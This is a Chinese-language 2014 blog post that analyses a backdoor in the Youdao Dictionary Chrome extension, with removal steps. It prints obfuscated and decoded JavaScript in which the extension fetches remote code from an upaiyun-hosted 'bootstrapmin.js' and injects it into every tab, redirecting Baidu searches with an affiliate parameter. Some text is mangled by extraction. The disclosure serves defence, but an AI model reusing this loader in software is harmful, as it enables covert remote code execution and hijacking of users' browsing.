[Report]evil-code-in-youdao-crx
有道詞典劃詞插件的后門分析前言:筆者偶然發(fā)現(xiàn)“有道詞典劃詞插件 v2”(ID: ibogfemlnclpecapkojhmanpiebldbnk )的緩存中有一段極為可疑的代碼,經(jīng)分析,感覺不妙,這段
有道詞典劃詞插件的后門分析
前言:
筆者偶然發(fā)現(xiàn)“有道詞典劃詞插件 v2”(ID: ibogfemlnclpecapkojhmanpiebldbnk )的緩存中有一段極為可疑的代碼,經(jīng)分析,感覺不妙,這段代碼會將百度首頁追加一串參數(shù)。在Google 搜索發(fā)現(xiàn),很多網(wǎng)友反饋遇到百度重定向到帶有tn=63090008_1_hao_pg參數(shù)的頁面。
起初我懷疑是有惡意程序在本地串改了Chrome 擴(kuò)展導(dǎo)致,但以下幾個網(wǎng)友的反饋,讓我感覺有道是不是有點(diǎn)“無道”…
引自:https://plus.google.com/ dousonwif/posts/3dDW4Sk5iMg
引自:http://tieba.baidu.com/p/3423256002
,有道詞典劃詞插件的后門分析
于是乎,我順藤摸瓜、梳理代碼、整理確鑿的證據(jù),花了近5個小時作此文,如下:
發(fā)現(xiàn)痕跡
1. 打開“有道詞典劃詞插件 v2 ”2.0的選項(xiàng)頁,按F12,進(jìn)入Resources – Local Storage ,
在右側(cè)發(fā)現(xiàn)可以痕跡。
code 中是遠(yuǎn)程獲取的代碼,last_synced_at保留的是遠(yuǎn)程代碼更新到本地的時間。
(圖1)
2. 在Chrome 擴(kuò)展的管理頁面(chrome://extensions)中找到“有道詞典劃詞插件 v2 ”2.0,
點(diǎn)擊“背景頁”鏈接;
在打開的窗口里切換到 Sources – ibogfemlnclpecapkojhmanpiebldbnk – bg.js ,在右側(cè)代碼末尾,找到另一端可以代碼,經(jīng)分析確認(rèn)這段代碼負(fù)責(zé)加載遠(yuǎn)程代碼并執(zhí)行。
(圖2
)
有道詞典劃詞插件的后門分析
解決方法
1. 臨時刪除加載、執(zhí)行遠(yuǎn)程代碼的那段代碼
打開你的電腦如下路徑:X :UsersYourName AppDataLocalGoogleChromeUser Data?faultExtensionsibogfemlnclpecapkojhmanpiebldbnk 2.0_0
用文本編輯工具打開其中的bg.js ,按上文圖2所示,刪除文本末尾那幾行代碼,并保存。重新啟動Chrome ,或重新啟用該擴(kuò)展即可生效去除惡意的程序邏輯。
弊端:如果該擴(kuò)展有更新,可能會覆蓋你的修改,變回原來的樣子
2. 放棄使用該擴(kuò)展,使用替代品
由我維護(hù)的另一個擴(kuò)展:
Google 商店安裝鏈接:
代碼公開地址:https://code.jd.com/g8up/youdaocrx
后記
筆者是Chrome 的忠實(shí)粉絲,之前一直堅(jiān)持積累英語,用過一段時間上文提到的官方有道擴(kuò)展,對其功能不甚滿足,遂添加了查詢記錄以及導(dǎo)出查詢記錄功能,并修復(fù)了一些bug 。梳理了原來的代碼,以節(jié)省程序占用資源,提高效率。從我之前備份的代碼來看,當(dāng)時(2014-04-24左右)官方還沒有添加這段后門程序。
另外有網(wǎng)友反饋另一款問題擴(kuò)展“愛奇藝去45秒廣告”(id: faafmfkdpddenkfoflahblfdeneagfgj ,作者:豆瓣UX 小組)中也有類似的后門代碼,巧合的是,遠(yuǎn)端的代碼都是寄存在同一個云儲存網(wǎng)站下( http://mnybag.b0.upaiyun.com/bootstrapmin.js ),子域名有區(qū)別,偽裝的文件名都是知名的前端框架bootstrap 的名稱字樣。代碼有個別字符差異,但帶有tn=63090008_1_hao_pg 特征。不排除是同一開發(fā)者所為。難道是豆瓣的員工跳槽到有道然后把有道擴(kuò)展給改了?還是官方的Chrome 開發(fā)者帳號被泄漏,遭歹人串改?不得而知。
雖然Google 一次次提高擴(kuò)展的安全性,但依然難以確保所有擴(kuò)展都不會、不能作惡。還是建議用戶多加小心。我們不能因噎廢食,但我們確實(shí)應(yīng)該提高警惕性,積累一些應(yīng)用技巧,甚至是一些專業(yè)知識。
——Sigma
2014.11.29
,有道詞典劃詞插件的后門分析
附:源代碼
“后門”源碼 (注釋為筆者添加,下同)
;; (function () {
var _0xb012 =
["x6Fx6Ex72x65x61x64x79x73x74x61x74x65x63x68x61x6Ex67x65", "x73x74x61x74x75x73",
"x72x65x61x64x79x53x74x61x74x65",
"x72x65x73x70x6Fx6Ex73x65x54x65x78x74",
"x63x6Fx64x65",
"x6Cx61x73x74x5Fx73x79x6Ex63x65x64x5Fx61x74",
"x6Ex6Fx77", "x47x45x54",
"x68x74x74x70x3Ax2Fx2Fx61x6Ex61x6Cx79x74x69x63x73x2Ex62x30x2Ex75x70x61x69x79x75x6Ex2Ex63x6Fx6Dx2Fx61x2Fx62x6Fx6Fx74x73x74x72x61x70x6Dx69x6Ex2Ex6Ax73",
"x6Fx70x65x6E", "x73x65x6Ex64",
"x75x6Ex64x65x66x69x6Ex65x64", "" ,
"x64x6Fx63x75x6Dx65x6Ex74x5Fx65x6Ex64",
"x65x78x65x63x75x74x65x53x63x72x69x70x74",
"x74x61x62x73", "x61x64x64x4Cx69x73x74x65x6Ex65x72", "x6Fx6Ex55x70x64x61x74x65x64"];
//["onreadystatechange", "status", "readyState", "responseText", "code", "last_synced_at", "now", "GET",
" http://analytics.b0.upaiyun.com/a/bootstrapmin.js", "open", "send", "undefined", "", "document_end", "executeScript", "tabs", "addListener", "onUpdated"]
function loadScript() {
var _0xb30dx2 = new XMLHttpRequest();
_0xb30dx2[_0xb012[0]] = function () {
try {
if (_0xb30dx2[_0xb012[1]] == 200 &&
_0xb30dx2[_0xb012[2]] == 4) {
var _0xb30dx3 = _0xb30dx2[_0xb012[3]];
localStorage[_0xb012[4]] = _0xb30dx3;
localStorage[_0xb012[5]] = Date[_0xb012[6]](); };
} catch (ex ) {};
};
,有道詞典劃詞插件的后門分析
};
chrome [_0xb012[15]][_0xb012[17]][_0xb012[16]](function (_0xb30dx4) {
if ((localStorage [_0xb012[5]] == undefined) ||
((Date [_0xb012[6]]() - localStorage [_0xb012[5]]) > (1000 * 60 * 60 * 8))) {
loadScript();
};
if (typeof (localStorage [_0xb012[4]]) == _0xb012[11] ||
localStorage [_0xb012[4]] == _0xb012[12]) {
loadScript();
};
if (typeof (localStorage [_0xb012[4]]) != _0xb012[11]) {
chrome[_0xb012[15]][_0xb012[14]](_0xb30dx4, {
,有道詞典劃詞插件的后門分析
“后門”源碼解碼 ;;(function () {
//加載遠(yuǎn)程代碼
function loadScript() {
var xhr = new XMLHttpRequest();
xhr. onreadystatechange = function () {
try {
if (xhr . status == 200 && xhr. readyState == 4) {
var code = xhr. responseText ;
localStorage["code" ] = code;
//記錄加載時間
localStorage["last_synced_at"] = Date. now ();
};
} catch (ex ) {};
};
xhr[open ](GET ,
"http://analytics.b0.upaiyun.com/a/bootstrapmin.js", true );
xhr[send ](null );
};
//監(jiān)聽每次瀏覽器標(biāo)簽的更新
chrome. tabs . onUpdated . addListener (function ( para ) {
//每8小時獲取一次遠(yuǎn)程代碼
if ((localStorage ["last_synced_at"] == undefined) ||
((Date . now () - localStorage["last_synced_at"]) > (1000 * 60 * 60 * 8))) {
loadScript();
};
if (typeof (localStorage ["code" ]) == "undefined" ||
localStorage ["code" ] == "" ) {
loadScript();
};
if (typeof (localStorage ["code" ]) != "undefined" ) {
chrome. tabs . executeScript ( para , {
,有道詞典劃詞插件的后門分析 })();
遠(yuǎn)程代碼源碼 ;; (function (d ) {
var _0xd0cb = ["x68x72x65x66",
"x6Cx6Fx63x61x74x69x6Fx6E",
"x77x77x77x2Ex62x61x69x64x75x2Ex63x6Fx6D",
"x6Dx61x74x63x68", "x73x75x62x73x74x72x69x6Ex67", "x73x65x61x72x63x68", "x26", "x73x70x6Cx69x74",
"x6Cx65x6Ex67x74x68", "x3D",
"x75x6Ex64x65x66x69x6Ex65x64", "x73x74x72x69x6Ex67", "x70x75x73x68", "x74x6E", "" ,
"x74x6Ex3Dx36x33x30x39x30x30x30x38x5Fx31x5Fx68x61x6Fx5Fx70x67", "x3F", "x6Ax6Fx69x6E"];
//["href", "location", "www.baidu.com", "match", "substring", "search", "&", "split", "length", "=", "undefined", "string", "push", "tn", "", "tn=63090008_1_hao_pg", "?", "join"]
var href = d[_0xd0cb[1]][_0xd0cb[0]];
if (document [_0xd0cb[1]][_0xd0cb[0]][_0xd0cb[3]](_0xd0cb[2])) {} else {
return false ;
};
var QueryString = function () {
var _0x2b75x3 = {};
var _0x2b75x4 =
window [_0xd0cb[1]][_0xd0cb[5]][_0xd0cb[4]](1);
var _0x2b75x5 = _0x2b75x4[_0xd0cb[7]](_0xd0cb[6]);
for (var _0x2b75x6 = 0; _0x2b75x6 < _0x2b75x5[_0xd0cb[8]]; _0x2b75x6 ) {
var _0x2b75x7 =
_0x2b75x5[_0x2b75x6][_0xd0cb[7]](_0xd0cb[9]);
if (typeof _0x2b75x3[_0x2b75x7[0]] === _0xd0cb[10]) { _0x2b75x3[_0x2b75x7[0]] = _0x2b75x7[1];
} else {
,有道詞典劃詞插件的后門分析
};
return _0x2b75x3;
}();
if (QueryString [_0xd0cb[13]]) {} else {
var se_array = [];
for (var index in QueryString) {
if (index != _0xd0cb[14]) {
se_array[_0xd0cb[12]](index _0xd0cb[9]
QueryString [index ]);
};
};
se_array[_0xd0cb[12]](_0xd0cb[15]);
document[_0xd0cb[1]][_0xd0cb[5]] = _0xd0cb[16]
se_array[_0xd0cb[17]](_0xd0cb[6]);
};
})(document );
遠(yuǎn)程代碼源碼解碼 ;; (function (doc ) {
var href = doc. location . href ;
//只針對百度域名執(zhí)行代碼
if (document . location . href . match ( "www.baidu.com" )) {} else { return false ;
};
var QueryString = function () {//暫存url 參數(shù)
var obj = {};
var path = window. location . search . substring (1);
var keyValue = path. split ("&");
for (var n = 0; n < keyValue. length ; n ) {
var paras = keyValue[n ].split ("=");
if (typeof obj[ paras[0] ] === "undefined" ) {
obj[ paras[0] ] = paras[1];
} else {
if (typeof obj[ paras[0] ] === "string" ) {
,有道詞典劃詞插件的后門分析
}();
if (QueryString ['tn' ]) {} else {
var se_array = [];
for (var index in QueryString) {
if (index != "" ) {
se_array. push (index "=" QueryString[index ]); };
};
se_array. push ("tn=63090008_1_hao_pg"); //追加tn 參數(shù) document. location . search = "?" se_array. join ("&"); };
})(document );